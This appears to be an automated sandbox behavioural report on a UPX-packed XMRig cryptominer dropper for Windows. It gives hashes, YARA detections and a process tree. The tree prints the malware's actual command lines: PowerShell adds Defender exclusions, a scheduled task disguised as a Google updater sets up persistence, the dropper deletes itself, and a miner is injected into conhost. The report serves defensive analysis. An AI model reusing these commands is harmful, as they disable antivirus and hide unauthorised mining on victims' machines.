xmrig | 118a83cef7804742f9bc8f11c9deea34b84c35d65edca3036667edbd02dc7df8

max time kernel
618s
max time network
1797s
platform
windows10-2004_x64
resource
win10v2004-20231215-en
resource tags

arch:x64arch:x86image:win10v2004-20231215-enlocale:en-usos:windows10-2004-x64system
submitted
24/12/2023, 12:16

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General

Target

RmJBfzgfbWELMdgn.exe
Size

2.0MB
MD5

a16a669a09bf158058b83e04e69fe38e
SHA1

f6c94763850d9e590d86057139e8895a7aacdeea
SHA256

cacc0261ccf7578ef5c1f9fdbe35705ad91070d020a4225e05cbf71a6103ac8e
SHA512

658b52ad1d27becee5b5bbd443d43da38b88d49880e72c8cb843f176a2d84d571b39c34dbc7cfb7ea56acc548acc5b68cce47a8bcf9d173feec031f7e33a09c6
SSDEEP

49152:rWVipAxqo5p88CbXuxWQiSJU320ZW21Q0YWAij64ane6szjmL/45:rxAEcp9ueXit9WAQ0YWuO

Score

10^/10

xmrig miner upx

Malware Config

Signatures

Suspicious use of NtCreateUserProcessOtherParentProcess 10 IoCs

description	pid	Process	procid_target
PID 2096 created 3416	2096	RmJBfzgfbWELMdgn.exe	44
PID 2096 created 3416	2096	RmJBfzgfbWELMdgn.exe	44
PID 2096 created 3416	2096	RmJBfzgfbWELMdgn.exe	44
PID 2096 created 3416	2096	RmJBfzgfbWELMdgn.exe	44
PID 2436 created 3416	2436	updater.exe	44
PID 2436 created 3416	2436	updater.exe	44
PID 2436 created 3416	2436	updater.exe	44
PID 2436 created 3416	2436	updater.exe	44
PID 3988 created 3416	3988	conhost.exe	44
PID 2436 created 3416	2436	updater.exe	44

xmrig
XMRig is a high performance, open source, cross platform CPU/GPU miner.
miner xmrig

XMRig Miner payload 27 IoCs

miner

resource	yara_rule
behavioral4/memory/3912-129-0x00007FF739D90000-0x00007FF73A584000-memory.dmp	xmrig
behavioral4/memory/3912-131-0x00007FF739D90000-0x00007FF73A584000-memory.dmp	xmrig
behavioral4/memory/3912-135-0x00007FF739D90000-0x00007FF73A584000-memory.dmp	xmrig
behavioral4/memory/3912-137-0x00007FF739D90000-0x00007FF73A584000-memory.dmp	xmrig
behavioral4/memory/3912-141-0x00007FF739D90000-0x00007FF73A584000-memory.dmp	xmrig
behavioral4/memory/3912-143-0x00007FF739D90000-0x00007FF73A584000-memory.dmp	xmrig
behavioral4/memory/3912-145-0x00007FF739D90000-0x00007FF73A584000-memory.dmp	xmrig
behavioral4/memory/3912-147-0x00007FF739D90000-0x00007FF73A584000-memory.dmp	xmrig
behavioral4/memory/3912-149-0x00007FF739D90000-0x00007FF73A584000-memory.dmp	xmrig
behavioral4/memory/3912-151-0x00007FF739D90000-0x00007FF73A584000-memory.dmp	xmrig
behavioral4/memory/3912-153-0x00007FF739D90000-0x00007FF73A584000-memory.dmp	xmrig
behavioral4/memory/3912-155-0x00007FF739D90000-0x00007FF73A584000-memory.dmp	xmrig
behavioral4/memory/3912-157-0x00007FF739D90000-0x00007FF73A584000-memory.dmp	xmrig
behavioral4/memory/3912-159-0x00007FF739D90000-0x00007FF73A584000-memory.dmp	xmrig
behavioral4/memory/3912-161-0x00007FF739D90000-0x00007FF73A584000-memory.dmp	xmrig
behavioral4/memory/3912-163-0x00007FF739D90000-0x00007FF73A584000-memory.dmp	xmrig
behavioral4/memory/3912-165-0x00007FF739D90000-0x00007FF73A584000-memory.dmp	xmrig
behavioral4/memory/3912-167-0x00007FF739D90000-0x00007FF73A584000-memory.dmp	xmrig
behavioral4/memory/3912-169-0x00007FF739D90000-0x00007FF73A584000-memory.dmp	xmrig
behavioral4/memory/3912-171-0x00007FF739D90000-0x00007FF73A584000-memory.dmp	xmrig
behavioral4/memory/3912-173-0x00007FF739D90000-0x00007FF73A584000-memory.dmp	xmrig
behavioral4/memory/3912-175-0x00007FF739D90000-0x00007FF73A584000-memory.dmp	xmrig
behavioral4/memory/3912-177-0x00007FF739D90000-0x00007FF73A584000-memory.dmp	xmrig
behavioral4/memory/3912-179-0x00007FF739D90000-0x00007FF73A584000-memory.dmp	xmrig
behavioral4/memory/3912-181-0x00007FF739D90000-0x00007FF73A584000-memory.dmp	xmrig
behavioral4/memory/3912-183-0x00007FF739D90000-0x00007FF73A584000-memory.dmp	xmrig
behavioral4/memory/3912-185-0x00007FF739D90000-0x00007FF73A584000-memory.dmp	xmrig

Executes dropped EXE 1 IoCs

pid	Process
2436	updater.exe

UPX packed file 28 IoCs

Detects executables packed with UPX/modified UPX open source packer.

upx

resource	yara_rule
behavioral4/memory/3912-125-0x00007FF739D90000-0x00007FF73A584000-memory.dmp	upx
behavioral4/memory/3912-129-0x00007FF739D90000-0x00007FF73A584000-memory.dmp	upx
behavioral4/memory/3912-131-0x00007FF739D90000-0x00007FF73A584000-memory.dmp	upx
behavioral4/memory/3912-135-0x00007FF739D90000-0x00007FF73A584000-memory.dmp	upx
behavioral4/memory/3912-137-0x00007FF739D90000-0x00007FF73A584000-memory.dmp	upx
behavioral4/memory/3912-141-0x00007FF739D90000-0x00007FF73A584000-memory.dmp	upx
behavioral4/memory/3912-143-0x00007FF739D90000-0x00007FF73A584000-memory.dmp	upx
behavioral4/memory/3912-145-0x00007FF739D90000-0x00007FF73A584000-memory.dmp	upx
behavioral4/memory/3912-147-0x00007FF739D90000-0x00007FF73A584000-memory.dmp	upx
behavioral4/memory/3912-149-0x00007FF739D90000-0x00007FF73A584000-memory.dmp	upx
behavioral4/memory/3912-151-0x00007FF739D90000-0x00007FF73A584000-memory.dmp	upx
behavioral4/memory/3912-153-0x00007FF739D90000-0x00007FF73A584000-memory.dmp	upx
behavioral4/memory/3912-155-0x00007FF739D90000-0x00007FF73A584000-memory.dmp	upx
behavioral4/memory/3912-157-0x00007FF739D90000-0x00007FF73A584000-memory.dmp	upx
behavioral4/memory/3912-159-0x00007FF739D90000-0x00007FF73A584000-memory.dmp	upx
behavioral4/memory/3912-161-0x00007FF739D90000-0x00007FF73A584000-memory.dmp	upx
behavioral4/memory/3912-163-0x00007FF739D90000-0x00007FF73A584000-memory.dmp	upx
behavioral4/memory/3912-165-0x00007FF739D90000-0x00007FF73A584000-memory.dmp	upx
behavioral4/memory/3912-167-0x00007FF739D90000-0x00007FF73A584000-memory.dmp	upx
behavioral4/memory/3912-169-0x00007FF739D90000-0x00007FF73A584000-memory.dmp	upx
behavioral4/memory/3912-171-0x00007FF739D90000-0x00007FF73A584000-memory.dmp	upx
behavioral4/memory/3912-173-0x00007FF739D90000-0x00007FF73A584000-memory.dmp	upx
behavioral4/memory/3912-175-0x00007FF739D90000-0x00007FF73A584000-memory.dmp	upx
behavioral4/memory/3912-177-0x00007FF739D90000-0x00007FF73A584000-memory.dmp	upx
behavioral4/memory/3912-179-0x00007FF739D90000-0x00007FF73A584000-memory.dmp	upx
behavioral4/memory/3912-181-0x00007FF739D90000-0x00007FF73A584000-memory.dmp	upx
behavioral4/memory/3912-183-0x00007FF739D90000-0x00007FF73A584000-memory.dmp	upx
behavioral4/memory/3912-185-0x00007FF739D90000-0x00007FF73A584000-memory.dmp	upx

Drops file in System32 directory 3 IoCs

description	ioc	Process
File created	C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.exe.log	powershell.exe
File opened for modification	C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive	powershell.exe
File created	C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive	powershell.exe

Suspicious use of SetThreadContext 2 IoCs

description	pid	Process	procid_target
PID 2436 set thread context of 3988	2436	updater.exe	122
PID 2436 set thread context of 3912	2436	updater.exe	117

Drops file in Program Files directory 4 IoCs

description	ioc	Process
File created	C:\Program Files\Google\Chrome\updater.exe	RmJBfzgfbWELMdgn.exe
File created	C:\Program Files\Google\Libs\WR64.sys	updater.exe
File created	C:\Program Files\Google\Libs\g.log	cmd.exe
File created	C:\Program Files\Google\Libs\g.log	cmd.exe

Detects videocard installed 1 TTPs 1 IoCs

Uses WMIC.exe to determine videocard installed.

System Information Discovery

T1082

pid	Process
924	WMIC.exe

Modifies data under HKEY_USERS 64 IoCs

description	ioc	Process
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed\CRLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root\CTLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople\Certificates	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust\Certificates	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust\CTLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA\CTLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root\Certificates	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA\CTLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople\Certificates	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA\CRLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed\Certificates	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople\CRLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust\CTLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed\CTLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople\CTLs	powershell.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\UNCAsIntranet = "1"	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed\CTLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot\Certificates	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople\CTLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust\CRLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust\Certificates	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed\CTLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople\CRLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust\CTLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root\CRLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed\CRLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root\CRLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot\CRLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed\Certificates	powershell.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\AutoDetect = "0"	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA\Certificates	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed\CRLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust\CRLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA\CRLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot\CRLs	powershell.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\AutoDetect = "0"	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root\Certificates	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust\CRLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust	powershell.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\IntranetName = "1"	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA\CTLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed	powershell.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\IntranetName = "1"	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed\CRLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople\CRLs	powershell.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\ProxyBypass = "1"	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA\Certificates	powershell.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\ProxyBypass = "1"	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA\CTLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\WinTrust\Trust Providers\Software Publishing	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople\Certificates	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot\Certificates	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople\CRLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople\CTLs	powershell.exe

Suspicious behavior: EnumeratesProcesses 35 IoCs

pid	Process
2096	RmJBfzgfbWELMdgn.exe
2096	RmJBfzgfbWELMdgn.exe
3352	powershell.exe
3352	powershell.exe
3352	powershell.exe
2096	RmJBfzgfbWELMdgn.exe
2096	RmJBfzgfbWELMdgn.exe
4916	powershell.exe
4916	powershell.exe
4916	powershell.exe
2096	RmJBfzgfbWELMdgn.exe
2096	RmJBfzgfbWELMdgn.exe
2096	RmJBfzgfbWELMdgn.exe
2096	RmJBfzgfbWELMdgn.exe
4124	powershell.exe
4124	powershell.exe
4124	powershell.exe
2436	updater.exe
2436	updater.exe
3968	powershell.exe
3968	powershell.exe
3968	powershell.exe
2436	updater.exe
2436	updater.exe
3424	powershell.exe
3424	powershell.exe
3424	powershell.exe
2436	updater.exe
2436	updater.exe
2436	updater.exe
2436	updater.exe
3988	conhost.exe
3988	conhost.exe
2436	updater.exe
2436	updater.exe

Suspicious use of AdjustPrivilegeToken 64 IoCs

description	pid	Process
Token: SeDebugPrivilege	3352	powershell.exe
Token: SeDebugPrivilege	4916	powershell.exe
Token: SeIncreaseQuotaPrivilege	4916	powershell.exe
Token: SeSecurityPrivilege	4916	powershell.exe
Token: SeTakeOwnershipPrivilege	4916	powershell.exe
Token: SeLoadDriverPrivilege	4916	powershell.exe
Token: SeSystemProfilePrivilege	4916	powershell.exe
Token: SeSystemtimePrivilege	4916	powershell.exe
Token: SeProfSingleProcessPrivilege	4916	powershell.exe
Token: SeIncBasePriorityPrivilege	4916	powershell.exe
Token: SeCreatePagefilePrivilege	4916	powershell.exe
Token: SeBackupPrivilege	4916	powershell.exe
Token: SeRestorePrivilege	4916	powershell.exe
Token: SeShutdownPrivilege	4916	powershell.exe
Token: SeDebugPrivilege	4916	powershell.exe
Token: SeSystemEnvironmentPrivilege	4916	powershell.exe
Token: SeRemoteShutdownPrivilege	4916	powershell.exe
Token: SeUndockPrivilege	4916	powershell.exe
Token: SeManageVolumePrivilege	4916	powershell.exe
Token: 33	4916	powershell.exe
Token: 34	4916	powershell.exe
Token: 35	4916	powershell.exe
Token: 36	4916	powershell.exe
Token: SeIncreaseQuotaPrivilege	4916	powershell.exe
Token: SeSecurityPrivilege	4916	powershell.exe
Token: SeTakeOwnershipPrivilege	4916	powershell.exe
Token: SeLoadDriverPrivilege	4916	powershell.exe
Token: SeSystemProfilePrivilege	4916	powershell.exe
Token: SeSystemtimePrivilege	4916	powershell.exe
Token: SeProfSingleProcessPrivilege	4916	powershell.exe
Token: SeIncBasePriorityPrivilege	4916	powershell.exe
Token: SeCreatePagefilePrivilege	4916	powershell.exe
Token: SeBackupPrivilege	4916	powershell.exe
Token: SeRestorePrivilege	4916	powershell.exe
Token: SeShutdownPrivilege	4916	powershell.exe
Token: SeDebugPrivilege	4916	powershell.exe
Token: SeSystemEnvironmentPrivilege	4916	powershell.exe
Token: SeRemoteShutdownPrivilege	4916	powershell.exe
Token: SeUndockPrivilege	4916	powershell.exe
Token: SeManageVolumePrivilege	4916	powershell.exe
Token: 33	4916	powershell.exe
Token: 34	4916	powershell.exe
Token: 35	4916	powershell.exe
Token: 36	4916	powershell.exe
Token: SeIncreaseQuotaPrivilege	4916	powershell.exe
Token: SeSecurityPrivilege	4916	powershell.exe
Token: SeTakeOwnershipPrivilege	4916	powershell.exe
Token: SeLoadDriverPrivilege	4916	powershell.exe
Token: SeSystemProfilePrivilege	4916	powershell.exe
Token: SeSystemtimePrivilege	4916	powershell.exe
Token: SeProfSingleProcessPrivilege	4916	powershell.exe
Token: SeIncBasePriorityPrivilege	4916	powershell.exe
Token: SeCreatePagefilePrivilege	4916	powershell.exe
Token: SeBackupPrivilege	4916	powershell.exe
Token: SeRestorePrivilege	4916	powershell.exe
Token: SeShutdownPrivilege	4916	powershell.exe
Token: SeDebugPrivilege	4916	powershell.exe
Token: SeSystemEnvironmentPrivilege	4916	powershell.exe
Token: SeRemoteShutdownPrivilege	4916	powershell.exe
Token: SeUndockPrivilege	4916	powershell.exe
Token: SeManageVolumePrivilege	4916	powershell.exe
Token: 33	4916	powershell.exe
Token: 34	4916	powershell.exe
Token: 35	4916	powershell.exe

Suspicious use of WriteProcessMemory 8 IoCs

description	pid	Process	procid_target
PID 948 wrote to memory of 1616	948	cmd.exe	103
PID 948 wrote to memory of 1616	948	cmd.exe	103
PID 4124 wrote to memory of 4436	4124	powershell.exe	104
PID 4124 wrote to memory of 4436	4124	powershell.exe	104
PID 2436 wrote to memory of 3988	2436	updater.exe	122
PID 2972 wrote to memory of 924	2972	cmd.exe	116
PID 2972 wrote to memory of 924	2972	cmd.exe	116
PID 2436 wrote to memory of 3912	2436	updater.exe	117

Uses Task Scheduler COM API 1 TTPs
The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.
persistence

Query Registry
T1012

C:\Users\Admin\AppData\Local\Temp\RmJBfzgfbWELMdgn.exe
"C:\Users\Admin\AppData\Local\Temp\RmJBfzgfbWELMdgn.exe"
1⤵
- Suspicious use of NtCreateUserProcessOtherParentProcess
- Drops file in Program Files directory
- Suspicious behavior: EnumeratesProcesses
PID:2096

C:\Windows\Explorer.EXE
C:\Windows\Explorer.EXE
1⤵
PID:3416
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Add-MpPreference -ExclusionPath @($env:UserProfile, $env:ProgramFiles) -Force
  2⤵
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:3352
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe <#wokgfo#> IF((New-Object Security.Principal.WindowsPrincipal([Security.Principal.WindowsIdentity]::GetCurrent())).IsInRole([Security.Principal.WindowsBuiltInRole]::Administrator)) { IF([System.Environment]::OSVersion.Version -lt [System.Version]"6.2") { schtasks /create /f /sc onlogon /rl highest /ru 'System' /tn 'GoogleUpdateTaskMachineQC' /tr '''C:\Program Files\Google\Chrome\updater.exe''' } Else { Register-ScheduledTask -Action (New-ScheduledTaskAction -Execute 'C:\Program Files\Google\Chrome\updater.exe') -Trigger (New-ScheduledTaskTrigger -AtStartup) -Settings (New-ScheduledTaskSettingsSet -AllowStartIfOnBatteries -DisallowHardTerminate -DontStopIfGoingOnBatteries -DontStopOnIdleEnd -ExecutionTimeLimit (New-TimeSpan -Days 1000)) -TaskName 'GoogleUpdateTaskMachineQC' -User 'System' -RunLevel 'Highest' -Force; } } Else { reg add "HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" /v "GoogleUpdateTaskMachineQC" /t REG_SZ /f /d 'C:\Program Files\Google\Chrome\updater.exe' }
  2⤵
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:4916
- C:\Windows\System32\cmd.exe
  C:\Windows\System32\cmd.exe /c choice /C Y /N /D Y /T 3 & Del "C:\Users\Admin\AppData\Local\Temp\RmJBfzgfbWELMdgn.exe"
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:948
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe <#glbtb#> IF((New-Object Security.Principal.WindowsPrincipal([Security.Principal.WindowsIdentity]::GetCurrent())).IsInRole([Security.Principal.WindowsBuiltInRole]::Administrator)) { schtasks /run /tn "GoogleUpdateTaskMachineQC" } Else { "C:\Program Files\Google\Chrome\updater.exe" }
  2⤵
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of WriteProcessMemory
  PID:4124
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Add-MpPreference -ExclusionPath @($env:UserProfile, $env:ProgramFiles) -Force
  2⤵
  - Drops file in System32 directory
  - Modifies data under HKEY_USERS
  - Suspicious behavior: EnumeratesProcesses
  PID:3968
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe <#wokgfo#> IF((New-Object Security.Principal.WindowsPrincipal([Security.Principal.WindowsIdentity]::GetCurrent())).IsInRole([Security.Principal.WindowsBuiltInRole]::Administrator)) { IF([System.Environment]::OSVersion.Version -lt [System.Version]"6.2") { schtasks /create /f /sc onlogon /rl highest /ru 'System' /tn 'GoogleUpdateTaskMachineQC' /tr '''C:\Program Files\Google\Chrome\updater.exe''' } Else { Register-ScheduledTask -Action (New-ScheduledTaskAction -Execute 'C:\Program Files\Google\Chrome\updater.exe') -Trigger (New-ScheduledTaskTrigger -AtStartup) -Settings (New-ScheduledTaskSettingsSet -AllowStartIfOnBatteries -DisallowHardTerminate -DontStopIfGoingOnBatteries -DontStopOnIdleEnd -ExecutionTimeLimit (New-TimeSpan -Days 1000)) -TaskName 'GoogleUpdateTaskMachineQC' -User 'System' -RunLevel 'Highest' -Force; } } Else { reg add "HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" /v "GoogleUpdateTaskMachineQC" /t REG_SZ /f /d 'C:\Program Files\Google\Chrome\updater.exe' }
  2⤵
  - Drops file in System32 directory
  - Modifies data under HKEY_USERS
  - Suspicious behavior: EnumeratesProcesses
  PID:3424
- C:\Windows\System32\conhost.exe
  C:\Windows\System32\conhost.exe coygkprqxpklmnvz 6E3sjfZq2rJQaxvLPmXgsF7vH8nKLC0ur3jCwye3fPooFst8AJlNjZc1TvSyIQTKz3bkbADxizSwgp6IHJKg4enmph7iNmIeAYcJJRGkawcinVbrMdr45fHmW9ZqCrw3dSLKVMKzrI2u4sgGlTj0G1RmIYUpqYq+tIjGyNap0si+Bl1xh/1o3aGmtmdST7PlUgkYz6ci8qWCk/Icfx3DrSi2oQaBV3Dr68Ysn/4ifK09AI9K4Wz/J2kKABX44SMSz/klz2Q+FtxUOLuLpB0ApMJVvTxUIOnUHLATPgLq86uJLXtnMRoz90CklrR3X6ggj+Qodet1aWyPnFIog0clkH9Lt1wIn/XNs6NZ/3bJg2NyJ2xuvDRy+oOBgUebKWiz
  2⤵
  PID:3912
- C:\Windows\System32\cmd.exe
  C:\Windows\System32\cmd.exe /c wmic PATH Win32_VideoController GET Name, VideoProcessor > "C:\Program Files\Google\Libs\g.log"
  2⤵
  - Drops file in Program Files directory
  PID:748
- C:\Windows\System32\cmd.exe
  C:\Windows\System32\cmd.exe /c wmic PATH Win32_VideoController GET Name, VideoProcessor > "C:\Program Files\Google\Libs\g.log"
  2⤵
  - Drops file in Program Files directory
  - Suspicious use of WriteProcessMemory
  PID:2972
- C:\Windows\System32\conhost.exe
  C:\Windows\System32\conhost.exe qtdiqnkejoz
  2⤵
  - Suspicious use of NtCreateUserProcessOtherParentProcess
  - Suspicious behavior: EnumeratesProcesses
  PID:3988

C:\Windows\System32\choice.exe
choice /C Y /N /D Y /T 3
1⤵
PID:1616

C:\Windows\system32\schtasks.exe
"C:\Windows\system32\schtasks.exe" /run /tn GoogleUpdateTaskMachineQC
1⤵
PID:4436

C:\Program Files\Google\Chrome\updater.exe
"C:\Program Files\Google\Chrome\updater.exe"
1⤵
- Suspicious use of NtCreateUserProcessOtherParentProcess
- Executes dropped EXE
- Suspicious use of SetThreadContext
- Drops file in Program Files directory
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of WriteProcessMemory
PID:2436

C:\Windows\System32\Wbem\WMIC.exe
wmic PATH Win32_VideoController GET Name, VideoProcessor
1⤵
- Detects videocard installed
PID:924

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

Query Registry

T1012

System Information Discovery

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

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Downloads

C:\Program Files\Google\Chrome\updater.exe

Filesize
25KB

MD5
1343b46d277fd603f89928f6a08ee6ec

SHA1
27b49250941e3d652959df73c97d2ea74e5a6c65

SHA256
eaf41ae00fc6895f8014bd0328f2862aa825c688661f871dc4cc81b2f973d299

SHA512
82bb18e1b5962e8c9cdd8b496c21196e3ca98f6c06bc338128f8669644662775ef17ad41c11bbc969789400470f1beb68e189596430dd50cf903fdc619002c97

Download Submit
C:\Program Files\Google\Chrome\updater.exe

Filesize
108KB

MD5
1f266ac86140658ae1dc82af0ebf0576

SHA1
8eb28b70e68d351d70cb037357042c1b47f3f9a6

SHA256
b9618a17ad8f3a01df5ca0c9b7027a895c768b8290a179bff71a958ecd267ac2

SHA512
dff9728f48c9d4d201ae14ce7f76ca47d65071e07fc6c64be256bec806da17cdb7bdc3308b644b57e11203ed14340a17820ac94d3d84e0a8330682a391ce8d3b

Download Submit
C:\Program Files\Google\Libs\g.log

Filesize
226B

MD5
fdba80d4081c28c65e32fff246dc46cb

SHA1
74f809dedd1fc46a3a63ac9904c80f0b817b3686

SHA256
b9a385645ec2edddbc88b01e6b21362c14e9d7895712e67d375874eb7308e398

SHA512
b24a6784443c85bb56f8ae401ad4553c0955f587671ec7960bda737901d677d5e15d1a47d3674505fc98ea09ede2e5078a0aeb4481d3728e6715f3eac557cd29

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.exe.log

Filesize
2KB

MD5
d85ba6ff808d9e5444a4b369f5bc2730

SHA1
31aa9d96590fff6981b315e0b391b575e4c0804a

SHA256
84739c608a73509419748e4e20e6cc4e1846056c3fe1929a8300d5a1a488202f

SHA512
8c414eb55b45212af385accc16d9d562adba2123583ce70d22b91161fe878683845512a78f04dedd4ea98ed9b174dbfa98cf696370598ad8e6fbd1e714f1f249

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

Filesize
944B

MD5
6d3e9c29fe44e90aae6ed30ccf799ca8

SHA1
c7974ef72264bbdf13a2793ccf1aed11bc565dce

